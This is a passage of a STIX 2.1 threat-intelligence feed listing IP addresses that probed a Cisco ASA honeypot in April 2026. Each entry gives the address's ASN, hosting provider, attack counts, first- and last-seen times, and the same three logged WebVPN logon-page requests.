      "id": "indicator--d8fdcb9c-ff42-4f37-8910-b1ba0e9b7139",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.95.188']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T11:20:05.000Z",
      "valid_until": "2026-05-12T11:20:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 12,
          "first_seen": "2026-04-10T10:59:43.908Z",
          "last_seen": "2026-04-18T01:38:42.996Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-10T11:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 212238 (Datacamp Limited)",
      "id": "indicator--74f9f5f6-a8b1-4778-bc99-1c1b7fdbeede",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '37.19.200.140']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T11:20:05.000Z",
      "valid_until": "2026-05-12T11:20:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 36,
          "first_seen": "2026-04-10T10:49:37.706Z",
          "last_seen": "2026-04-27T12:21:45.578Z",
          "country": "United States",
          "country_code": "US",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-10T11:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 60068 (Datacamp Limited)",
      "id": "indicator--fedda528-4b84-4fb8-864a-9ba84b6ec8a5",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '79.127.217.51']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T11:20:05.000Z",
      "valid_until": "2026-05-12T11:20:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 9,
          "first_seen": "2026-04-10T10:58:42.335Z",
          "last_seen": "2026-04-29T11:47:08.127Z",
          "country": "United States",
          "country_code": "US",
          "asn": 60068,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-10T12:20:15.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 9009 (M247 Europe SRL)",
      "id": "indicator--72c1ee47-96c1-4db4-b52c-87079c33392f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '146.70.172.115']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T12:20:15.000Z",
      "valid_until": "2026-05-12T12:20:13.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 24,
          "first_seen": "2026-04-10T11:50:39.187Z",
          "last_seen": "2026-04-23T17:38:53.704Z",
          "country": "United States",
          "country_code": "US",
          "asn": 9009,
          "as_org": "M247 Europe SRL",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-10T12:20:15.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--182a9903-4c5f-40d0-b08b-6fffd981ef3a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.106.71']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T12:20:15.000Z",
      "valid_until": "2026-05-12T12:20:13.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 24,
          "first_seen": "2026-04-10T11:54:59.603Z",
          "last_seen": "2026-04-27T17:44:02.805Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-10T12:20:15.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--75be3dab-9d70-480f-9cf0-340f0f909300",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.68.156']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T12:20:15.000Z",
      "valid_until": "2026-05-12T12:20:13.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 18,
          "first_seen": "2026-04-10T11:20:59.930Z",
          "last_seen": "2026-04-23T06:04:11.843Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-10T12:20:15.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--09497bc3-1f12-4a0b-83cd-3d9aeb140817",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.74.45']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T12:20:15.000Z",
      "valid_until": "2026-05-12T12:20:13.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 12,
          "first_seen": "2026-04-10T12:17:16.633Z",
          "last_seen": "2026-04-27T22:57:57.423Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-10T12:20:15.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--8bff0834-06a2-40d4-a9b3-5ff99403db6e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.98.59']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T12:20:15.000Z",
      "valid_until": "2026-05-12T12:20:13.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 21,
          "first_seen": "2026-04-10T12:12:26.732Z",
          "last_seen": "2026-04-25T06:55:27.315Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-10T12:20:15.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 212238 (Datacamp Limited)",
      "id": "indicator--e48690d1-0226-474f-a877-91016c443eff",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '45.134.142.203']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T12:20:15.000Z",
      "valid_until": "2026-05-12T12:20:13.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 57,
          "first_seen": "2026-04-08T21:40:22.527Z",
          "last_seen": "2026-04-28T05:32:03.031Z",
          "country": "United States",
          "country_code": "US",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-10T12:20:15.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 212238 (Datacamp Limited)",
      "id": "indicator--fb56e685-2094-40b5-b0b2-d5dae295a939",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '45.134.142.212']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T12:20:15.000Z",
      "valid_until": "2026-05-12T12:20:13.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 30,
          "first_seen": "2026-04-10T12:08:21.704Z",
          "last_seen": "2026-04-29T16:16:20.988Z",
          "country": "United States",
          "country_code": "US",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-10T12:20:15.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--8e5037bd-0750-41c9-b2bb-94d492779755",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '68.235.46.120']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T12:20:15.000Z",
      "valid_until": "2026-05-12T12:20:13.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 9,
          "first_seen": "2026-04-10T11:21:10.277Z",
          "last_seen": "2026-04-11T05:24:53.616Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-10T12:20:15.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--4e000639-a0fb-4b8f-a40b-cf3121476375",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '68.235.46.13']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T12:20:15.000Z",
      "valid_until": "2026-05-12T12:20:13.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 21,
          "first_seen": "2026-04-10T11:53:48.711Z",
          "last_seen": "2026-04-27T20:07:29.133Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-10T13:20:12.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 203020 (HostRoyale Technologies Pvt Ltd)",
      "id": "indicator--e91d5b07-01ca-4a0a-a643-73120a46fe05",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '103.251.26.106']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T13:20:12.000Z",
      "valid_until": "2026-05-12T13:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 6,
          "first_seen": "2026-04-10T12:36:58.292Z",
          "last_seen": "2026-04-23T06:33:59.999Z",
          "country": "United States",
          "country_code": "US",
          "asn": 203020,
          "as_org": "HostRoyale Technologies Pvt Ltd",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-10T13:20:12.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 136557 (Host Universal Pty Ltd)",
      "id": "indicator--c3d9a566-e60d-4596-98ea-01bba611237f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '155.2.191.45']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T13:20:12.000Z",
      "valid_until": "2026-05-12T13:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 9,
          "first_seen": "2026-04-08T21:55:52.300Z",
          "last_seen": "2026-04-18T14:34:50.399Z",
          "country": "United States",
          "country_code": "US",
          "asn": 136557,
          "as_org": "Host Universal Pty Ltd",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-10T13:20:12.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--591ee396-bcc8-4abc-a8d3-735081a0890b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '173.249.253.71']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T13:20:12.000Z",
      "valid_until": "2026-05-12T13:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 6,
          "first_seen": "2026-04-10T13:17:13.120Z",
          "last_seen": "2026-04-27T15:18:31.685Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-10T13:20:12.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 25737 (Jone Broadband LLC)",
      "id": "indicator--9c9eb9be-7835-4ca3-a4cc-92a646b5d6d3",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.162.8.89']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T13:20:12.000Z",
      "valid_until": "2026-05-12T13:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 15,
          "first_seen": "2026-04-08T21:43:21.326Z",
          "last_seen": "2026-04-23T01:00:48.049Z",
          "country": "United States",
          "country_code": "US",
          "asn": 25737,
          "as_org": "Jone Broadband LLC",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-10T13:20:12.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--0829cd97-ef49-4ee9-ad28-5b7984a400fe",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.100.227']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T13:20:12.000Z",
      "valid_until": "2026-05-12T13:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 6,
          "first_seen": "2026-04-10T12:42:42.899Z",
          "last_seen": "2026-04-29T13:24:17.626Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-10T13:20:12.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--f68cb386-192d-47ba-bcc0-31322fa6d749",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.111.157']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T13:20:12.000Z",
      "valid_until": "2026-05-12T13:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 6,
          "first_seen": "2026-04-10T12:35:49.127Z",
          "last_seen": "2026-04-26T05:13:07.399Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-10T13:20:12.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--b7753b19-b490-4dce-b262-32372e91348a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.74.71']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T13:20:12.000Z",
      "valid_until": "2026-05-12T13:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 15,
          "first_seen": "2026-04-10T12:49:41.805Z",
          "last_seen": "2026-04-28T03:24:48.781Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-10T13:20:12.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--37b7a24e-6d7a-4a6e-868c-9a6ed3b7432c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.78.105']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T13:20:12.000Z",
      "valid_until": "2026-05-12T13:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 24,
          "first_seen": "2026-04-10T12:51:55.416Z",
          "last_seen": "2026-04-27T10:20:35.390Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-10T13:20:12.000Z",
